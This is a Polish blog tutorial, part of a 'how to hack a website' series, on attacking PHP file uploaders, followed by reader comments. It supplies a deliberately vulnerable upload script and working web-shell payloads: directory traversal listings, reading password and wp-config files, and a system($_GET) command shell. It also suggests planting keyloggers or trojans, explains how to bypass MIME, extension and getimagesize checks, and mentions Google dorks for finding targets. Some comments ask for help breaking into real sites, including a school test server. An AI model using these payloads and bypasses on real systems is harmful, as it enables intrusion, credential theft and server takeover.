Jak włamać się na stronę internetową? | KURS UPLOADERA #2

Dzisiaj poruszymy kolejny temat (już drugi:-)) z serii informatycznego webhackingu. W poprzednim poradniku na temat ataków XSS dowiedzieliście się na pewno wiele nowych rzeczy. Jeżeli czytasz ten wpis polecam sięgnąć najpierw do poprzedniego tutoriala. Dzisiaj powiemy jak zaatakować uploader plików. Zaczniemy od najprostszych przykładów, jednak należy zdać sobię sprawę że nadal ta podatność a raczej brak przemyślenia pewnych kwestii przez programistę występuje na stronach www. W skrócie i prostym językiem mówiąc, powiemy dlaczego nie filtrowanie typów plików (np. czy plik jest zdjęciem, plikiem tekstowym czy innym) po stronie serwera lub klienta jest bardzo niebezpieczne dla strony internetowej.

Co to jest uploader plików?

Na pewno każdy z Was widział taki mechanizm na stronie internetowej. Umożliwia on proste wgrywanie na serwer plików z poziomu przeglądarki internetowej. Najczęściej implementowany on jest za pomocą HTML + PHP. Sztandarowymi przykładami jest fotosik.pl, imageshack.com, bądź mechanizmy do wrzucania zdjęć na Facebooka/Twitterze. Należy pamiętać że większość porządnych programistów potrafi zabezpieczyć się przed tego typu atakami, więc nie polecam Wam próbować atakować tego typu testami penetracyjnymi na nie swoich stronach internetowych.

zabezpieczenia uploadera

Na czym polega podatność wgrywarek plików?

Przede wszystkim filtrowanie. Jeśli głupek programista aplikacji zezwala na wgrywanie dowolnych plików, bądź obejście w jakikolwiek sposób mechanizmów filtrowania „rozszerzenia pliku” to podatność strony na ataki staje się szalenie groźna.

Jak to wygląda z praktycznej strony? Haker wgrywa plik niejako wykonywalny/interpretowany na stronę ofiary, wykonując na serwerze dowolną operacje (wedle uprawnień na maszynie serwerowej). Tym plikiem najczęściej jest dowolny skrypt .php napisany przez hakera, w dalszej części wpisu może bardziej wszystko się wam rozjaśni. Oczywiście nie musi być to język php, może być to dowolnie inny typowo server-side język.

Co może taki skrypt?


Taki skrypt może modyfikować atakowaną stronę główną jak i wszystkie pliki (wedle praw dostępu) na serwerze, eksplorować pliki na serwerze, wykonywać polecenia powłoki systemowej (shell/cmd.exe), przeglądać konfiguracje serwera, upload plików, podejrzeć pliki umożliwiające połączenie się z bazą danych i wiele wiele więcej. Wszystko ogranicza się do umiejętności hakera. Uzyskując podwyższone uprawnienia na serwerze możemy nawet cały serwer wyłączyć :). Tutaj jednak wymagana jest wiedza z zakresu systemów operacyjnych. Bez znajomości ich budowy i działania, cyberprzestępca nie jest w stanie nic na serwerze wykonać konkretnego.

Czas na praktyke – upload file attack!

Co będziemy potrzebowali?

  • Serwer treningowy (apaache+php) XAMPP, opisany już w poprzednich poradnikach, naszych filmikach (dział wideo) jak i pozostałem części internetu
  •  Skrypt treningowy PHP
  •  Chęć nauki 🙂

Pierwszym krokiem jest uruchomienie serwera stron www (XAMPP, webserv, krasnal…) na własnym komputerze, możemy skorzystać też z darmowego lub płatnego hostingu lecz jest to dużo mniej wygodne dla Nas samych.

Po uruchomieniu serwera wgrajmy skrypt treningowy do folderu głównego strony internetowej. W serwerze XAMPP jest to domyślnie folder C:\xampp\htdocs.
Utwórzmy tam plik o nazwie upload.php (zresztą nazwa jest dowolna, tylko rozszerzenie ważne) i zamieśćmy w nim poniższy skrypt treningowy:

<form enctype="multipart/form-data" action="upload.php" method="POST">
    <input type="hidden" name="MAX_FILE_SIZE" value="500000" />
    Wybierz plik do wgrania: <input name="wgrywanyPlik" type="file" /><br />
    <input type="submit" value="Wgraj plik" />
</form>
<?php
if (!empty($_POST['MAX_FILE_SIZE'])) {

    $folder_plikow = "pliki/" . basename($_FILES['wgrywanyPlik']['name']);

    if (move_uploaded_file($_FILES['wgrywanyPlik']['tmp_name'], $folder_plikow)) {
        echo "<b>Plik " . basename($_FILES['wgrywanyPlik']['name']) . " został załadowany!</b>";
    } else {
        echo "<b>Nie można załadować pliku!</b>";
    }
}
?>

Kolejnym krokiem jest utworzenie folderu pliki, w nim będą umieszczane wgrane „zdjęcia”. W systemie Linux musimy temu folderowi nadać dodatkowo odpowiednie uprawnienia chmod (777).

Co robi skrypt?

W linii od 1 do 5 mamy zwykły formularz napisany w HTML, jest on po prostu widoczny w przeglądarce internetowej i służy do wyboru pliku przez użytkownika.
W linijce od 6 do 17 mamy kod php wykonujący już fizyczne wgranie pliku na serwer.
W 7 linijce sprawdzamy czy formularz został wysłany, jeśli tak to wykonujemy wgrywanie pliku.
W 9 linijce deklarujemy ścieżkę na dysku do której wgrać wybrany dysk czyli pliki+nazwaPliku.
Od 11 do 15 linijki dokonujemy już wgrania fizycznego pliku na serwer i wyświetlenia komunikatu o pozytywnym uploadzie pliku lub o negatywnym w razie niepowodzenia.

No dobrze pora na scenariusz pozytywny!

Wejdźmy na http://localhost/upload.php i spróbujmy wgrać dowolne zdjęcie ze swojego dysku (wyobraźmy sobie że autor strony chciał, aby ludzie mogli podzielić się swoimi zdjęciami), jeśli wyświetlił nam się komunikat że plik został poprawnie wgrany spójrzmy do folderu pliki na naszym dysku/hostingu, zdjęcie się tam pojawiło. Wpisując w adresie przeglądarki http://localhost/pliki/NAZWAPLIKU.jpg również powinniśmy ujrzeć wgrane zdjęcie, tym razem jednak w naszej ulubionej przeglądarce internetowej. A co się stanie jeśli spróbujemy wgrać plik, który nie będzie zdjęciem a skryptem .php przygotowanym przez nas… ?

upload zdjęć xampp/www

Pora na atak na strone www!

Utwórzmy prosty plik tekstowy z rozszerzeniem .php, dla przykładu może to być hack.php. Umieśćmy w nim poniższy skrypt wyświetlający krótki tekst:

<?php
 echo('Jestem hakerem!');
?>

Wgrajmy ten plik i wejdźmy pod adres http://localhost/pliki/hack.php, powinien wyświetlić nam się tekst Jestem hakerem!, trzeba zaznaczyć że nie wyświetliliśmy zawartości pliku tekstowego hack.php a wykonaliśmy prosty program .php. I co w tym niezwykłego? A no to, że nawet nie zaawansowany programista może w ten sposób modyfikować pliki za pomocą języka php, przeglądać zawartość serwera, wydawać polecenia powłoki jeśli ustawienia na to pozwalają systemowi operacyjnymi.

Kilka ciekawych przykładów

Listowanie plików, skrypt z oficjanlej dokumentacji php http://pl1.php.net/readdir, nigdy nie wymyślajcie koła na nowo 🙂. Spróbujmy wgrać plik z następującą zawartością:

<?php
if ($handle = opendir('.')) {
    while (false !== ($entry = readdir($handle))) {
        if ($entry != "." && $entry != "..") {
            echo "$entry\n";
        }
    }
    closedir($handle);
}
?>

Jak widzimy na listingu kodu w prosty sposób podejrzeliśmy co już znajduje się w katalogu pliki, może znajdziemy coś ciekawego na serwerze… ;-)? Wystarczy zmienić 3 linijkę kodu dopisując tylko jedną kropkę, wgrać ponownie i otworzyć w przeglądarce odpowiedni adres. Jako parametr funkcji opendir przekazaliśmy .. aby zobaczyć co znajduje się w folderze nadrzędnym do folderu skryptu który wgraliśmy

if ($handle = opendir('..')) {

Co oznaczają te kropki? Ogólnie w wielu systemach operacyjnych dwie kropki oznaczają nadrzędny folder, możemy brnąć dalej i eksplorować cały serwer (zależnie od konfiguracji serwera):

if ($handle = opendir('../../')) {

tutaj otwieramy nadrzędny folder i z niego wychodzimy ponownie w góre hierarchi katalogów na serwerze lub idąc jeszcze dalej

if ($handle = opendir('../../../')) {

możemy nawet wchodzić do folderów które napotkaliśmy, wymyśliłem sobie dla przykładu gdzieś w systemie folder hasla i odnalazłem w ten sposób w nim plik haslo.txt. Polecam poćwiczyć tą umiejętność.

if ($handle = opendir('../../../../hasla/')) {

Ale co to mi daje? Możesz przeczytać również pliki tekstowe, skrypty, itd…

<?php
echo readfile("../../../../hasla/hasla.txt");
?>

Dla przykładu w wielu silnikach CMS (np: wordpress) w folderze głównym naszego hostingu istnieje plik o nazwie config.php w którym znajduje się jawnie login i hasło do bazy danych… Nie muszę drążyć co to nam umożliwia?

wp-config.php w wordpress hack
wp-config.php w WordPress

PHP umożliwia również modyfikacje plików (otworzyć wystarczy je za pomocą fopen i zmodyfikować).
Czy to koniec możliwości? NIE! PHP posiada ciekawe funkcje takie jak exec(), system(),passthru()
(polecam google), które umożliwiają wykonanie polecenia powłoki na serwerze (wedle uprawnień). Dla przykładu w naszym XAMPPie możemy wykonywać Windowsowe komendy konsoli poleceń (cmd.exe). Wiele z tych komend znajdziecie w internecie .
Polecam szczególnie zapoznać się z poleceniami:

  • dir – przeglądanie dysku
  • cd – zmiana folderu
  • call – wywoływanie programów na serwerze
  • del – usuwanie plików
  • ftp – dostęp do ftp
  • mkdir – tworzenie folderów
  • rmdir – usuwanie folderów
  • taskkill – dostęp do procesów (alt+ctrl+del)
  • shutdown – możliwość wyłąćzenia windowsa
  • type – czytanie plików w Windows, w Linux mamy cat

W systemie Linux mnogość i możliwości są jeszcze większe, dodatkowo polecam w nim zapoznać się z poleceniem ls i pwd.
Dla przykładu jeśli serwerem jest Windows, możemy wgrać plik.exe np: keyloggera, trojana, wirusa bądź inny dowolny program na niego a następnie uruchomić go za pomocą właśnie konsoli poleceń. Jak je wywoływać? Proste hakerze:

 

<?php
system("dir");
?>

W parametrze system podejmy oczywiście odpowiednią dla siebie komende. :). Wywołaj teraz w pasku przeglądarki http://localhost/upload/pliki/a.php i sprawdź co się dzieje. Możesz spróbować wpisać również

<?php
system('dir C:\\');
?>

Jeśli umiesz sprawnie poruszać się w cmd.exe to pokombinuj, to nie jest trudne, jeśli masz hosting na Linuksie twoje możliwości stają się jeszcze większe.

Jak szybciej wprowadzać polecenia? Wystarczy znajomość PHP i tablicy GET, oto mamy taki prosty skrypt, nazwałem go hack.php:

<?php
system($_GET['polecenie']);
?>

Teraz wystarczy że w pasku adresu wpiszemy http://localhost/pliki/hack.php?polecenie=dir

Wystarczy że w miejscu przykładowego polecenia dir będziemy wpisywać własne, wystarczy znajomość budowy tych poleceń.

Jak obejść gdy to nie działa – zabezpieczenie uploadera

Z poniższych rad możesz skorzystać również jeśli jesteś programistą amatorem i myślisz jak można zabezpieczyć swój uploader plików :-).

Niestety większość z tych bypassów (obejść) zabezpieczeń uploadera wymaga troszkę więcej wiedzy, na pewno nie starczy miejsca w dzisiejszym wpisie, lecz warto eksperymentować. Poniżej Was naprowadzę!

Wiele programistów sprawdza tzn. text/mime, niestety nie zdają sobie sprawy, że łatwo to obejść za pomocą zwykłej wtyczki do przeglądarki WWW. Dla Firefoxa jest to dla przykładu świetna wtyczka Live HTTP Headers. Wystarczy zmodyfikować w nagłówkach HTTP text/mime na image/jpeg (jeśli dla przykładu uploader przyjmuje tylko zdjęcia). Mimo że wysyłamy plik ze skryptem .php, aplikacja programisty myśli że jest to zdjęcie bo bada nagłówki HTTP które możemy jako klient przeglądarki internetowej dowolnie modyfikować.

Czasem programiści dodatkowo sprawdzają czy w nazwie pliku istnieje wyrażenie dla przykładu „.jpg” myśląc że to im pomoże w obronie przed atakami. Jest to złudne bezpieczeństwo, ponieważ co jeśli nazwiemy nasz hakerski skrypt przyklad.jpg.php ? Oczywiście plik zostanie wgrany.

Trzecim popularnym sposobem zabezpieczenia uploaderów jest badanie EXIF zdjęcia. Otwieramy zdjęcie już po stronie serwera i pobieramy jego rozmiar (php: getimagesize()). Jest to bardzo często stosowane zabezpieczenie. Czy jest dobre? Nie do końca. bo rozmiar jest pobierany z już wcześniej wspomnianych metadanych zdjęcia EXIF (tak, są to te same informacje które uzyskujemy klikając w Windows właściwości na naszym zdjęciu i zakładka szczegóły). Gdzie leży problem? Problem jest taki, że haker może przygotować plik.php który zawiera EXIF zupełnie jak obrazek, nie jest to trudne. I wychodzi wtedy na to, że mimo że jest to skrypt .php to zostaje wgrany – oszukuje zabezpieczenia uploadera, ponieważ posiadając EXIF uploader może pobrać wysokość zdjęcia, choć nie jest to tak naprawdę zdjęcie.

Czwartym dodatkowo beznadziejnym zabezpieczeniem jest umieszczenie w formularzu parametr accept=”image/*”. Jaki jest problem? A no taki, że za pomocą przeglądarki i wtyczki FireBug możemy sobie go usunąć lub zmodyfikować w naszej przeglądarce i wysłać w normalny sposób plik, zupełnie tak jakby go nie było 🙂

Następna część nr 3 wpisu o metodach ataków na strony www

W poniższym wpisie znajdziesz kolejną część tego cyklu, opisującą atak na uploadery na stronach internetowych z filtrowaniem typów plików obrazkowym.

Jak włamać się na stronę internetową? | KURS UPLOADERA #3

Podsumowanie hakowania uploadera zdjęć

Jak znaleźć takie uploadery w sieci? Zupełnie prosto, wystarczy zapoznać się z poleceniami (komendami) Googla (tak google ma specjalne polecenia które mogą zawęzić nasze wyszukiwanie), często te polecenia nazywa się google hackingiem bądź dorkami.

Podsumowując, jak widzicie w powyższych akapitach, przede wszystkim aby obejść filtrowanie plików trzeba włączyć swoje procesy myślowe. Wiele filtrów i mechanizmów (nie tylko do wgrywania plików ale i broniących przed SQL Injection i atakami XSS) jest autorskich, więc samemu trzeba rozpracować system. Hakerzy nie są ludźmi łamiącymi zabezpieczenia a potrafiącymi myśleć nieszablonowo!

Polecam również

Pozdrawiamy 🙂

21 thoughts to “Jak włamać się na stronę internetową? | KURS UPLOADERA #2”

  1. Witam, fajnie że pojawiają się coraz to nowsze poradniki na forach, mam pytanie na które nie ma chyba oczywistej odpowiedzi ale czy np. przy takich prostych stronach zbudowanych przez początkujących bazując na cms typu wordpress joomla itd. bez żadnych dodatkowych zabezpieczeń ze strony administratora poza tymi wbudowanymi w CMS, te luki są na tyle duże że można z łatwością się włamać? Czy raczej to działa na takich stronach napisanych w html przez kowalskiego w gimnazjum? 😛

    1. I takich i takich, CMS piszą profesjonalni programiści przez co jakość oprogramowania jest lepsza, ale zawsze błąd ludzki wygrywa i często w CMS jest coś przeoczonego co jest łatane w przyszłych wersjach, więc starsze wersje mogą być poddatne na wiele ataków. W wordpressie wiele luk mają przedewszystkim pluginy i są poddatne na ataki. Polecam zajrzeć na http://1337day.com/ w celu przejrzenia gotowych exploitów również do CMS’ów.

  2. Cześć, pomógł byś otowrzyć 1 plik na stronie? Chodzi mi o plik z danymi do FTP na silniku Drupal

  3. MIME nie, rozmiar nie, reszta to wiadomo… to jakbyś podpowiedział zabezpieczyć by plik graficzny czy filmik sprawdzić czy jest nim na pewno? Właśnie robię sobie uploader do nowej stronki w panelu admina – tu nie trzeba aż tak zabezpieczać teoretycznie – ale jak masz pomysła to z chęcią bym się dowiedział bo te 4 sposoby znałem… będzie trzeba wymyślić coś nowego 😉

    1. Należy każdemu użytkownikowi ograniczać funkcjonalność (adekwatnie do jego funkcji). Podczas włamu mniej ktoś wyrządzi szkód.
      -Sprawdzanie za pomocą JS wybranego pliku w formularzu uploaderskim
      -Sprawdzanie mime
      -Sprawdzanie 3 ostatnich znaków (rozszerzenia)
      -Zablokowanie w folderze do którego się wrzuca pliki wykonywania niebezpiecznych skryptów przez interpreter (może to Ci podpowie: https://pomoc.home.pl/faq/faq/306)
      -Próba otwarcia i przeskalowania przesłanego obrazka przez funkcje php (gdy error zaniechaj wrzucanie)
      -Można zablokować możliwość ściągania pliku bezpośrednim linkiem (jak rapidshare i inne usługi plikowania) i napisać downloader (wysłałby wrzucony plik PHP z powrotem zamiast go wykonać). Linki można przetrzymywać w bazie danych (sztucznie wygenerowane prowadzące do pliku do pobrania).

    2. można zabezpieczyć uploader poprzez sprawdzenie zawartości pliku i jeśli funkcją preg_match(wyrażenie regularne)
      zobaczysz że są tam ciągi znaków typu script lub php
      to nie wgrywasz.

      1. Jest to rozwiązanie przy średnich i dużych witrynach wysoce niewydajne obliczeniowo. Lepszym rozwiązaniem jest konfiguracja serwera w taki sposób, żeby nie parsował kodu PHP w danym katalogu uploadera.

  4. ja wgrywam ten skrypt „hack.php” i wywala taki błąd to co źle ?
    ” Warning: move_uploaded_file(pliki/hak.php) [function.move-uploaded-file]: failed to open stream: No such file or directory in E:servhttpdatakupload.php on line 11

    Warning: move_uploaded_file() [function.move-uploaded-file]: Unable to move 'E:servtempfile-uploadsphpB36E.tmp’ to 'pliki/hak.php’ in E:servhttpdatakupload.php on line 11
    Nie można załadować pliku!”

    1. Skrypt zapewniam że działa. Głupio się brać za coś czego samemu nie da się rozwikłać. Poszukaj na forach php bo to częsty problem. Już z komunikatów można wywnioskować gdzie może leżeć problem.

    1. Będzie może w najbliższym czasie tutorial. W skrócie tworzysz obrazek, edytorem EXIF wklejasz gdzieś kod PHP. Wgrywasz jako obrazek.jpg.php i funkcja getimagesize() zostaje oszukana a kod wykonany… 🙂

  5. Ej a jak ja chcę shackować stronę ze sprawdzianami ,to jak mam to zrobić(pliki dostepne tylko dla nauczycieli)?

Dodaj komentarz

Twój adres e-mail nie zostanie opublikowany. Wymagane pola są oznaczone *